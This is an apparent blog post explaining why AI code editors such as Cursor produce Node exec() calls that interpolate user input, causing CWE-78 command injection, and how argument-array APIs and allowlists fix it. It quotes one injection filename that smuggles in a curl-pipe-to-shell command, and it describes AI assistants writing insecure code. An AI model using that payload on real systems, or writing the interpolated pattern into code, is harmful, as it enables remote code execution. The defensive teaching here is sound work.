Why Cursor Keeps Writing Command Injection Bugs (CWE-78)
AI code editors like Cursor generate exec() calls with interpolated user input, creating CWE-78 command injection bugs. The fix: execFile/spawn with argument arrays.
A developer asked Cursor to build a thumbnail endpoint and got working code in seconds, but the generated Node.js used exec() with a template string that interpolated a user-controlled filename directly. Posting a filename like image.png ; curl evil.sh | sh let the shell execute an attacker's command—classic CWE-78 OS command injection, one of the oldest bug classes on the web.
The root cause isn't malice but pattern matching: exec() with backtick-interpolated strings is the dominant shell pattern in Node tutorials and StackOverflow answers, almost always with fixed commands. Models learn the shape of the code, not its security context, so when a variable becomes dynamic they interpolate it the same way. Python's os.system() with f-strings suffers the identical flaw.
The fix is to bypass the shell entirely: execFile/spawn in Node or subprocess.run(..., shell=False) in Python take the command and arguments as a separate array, so metacharacters like ;, |, and $() are never parsed as shell syntax. Adding a simple allowlist for inputs like filenames provides extra defense in depth at minimal cost.
The author now runs SafeWeave, an MCP server hooked into Cursor and Claude Code, to flag interpolated exec calls the instant they're generated, though a semgrep pre-commit hook can catch most of the same issues. The broader lesson for engineers: AI-generated code invoking shell commands with any user input should be treated as insecure by default and reviewed immediately, before the context is lost.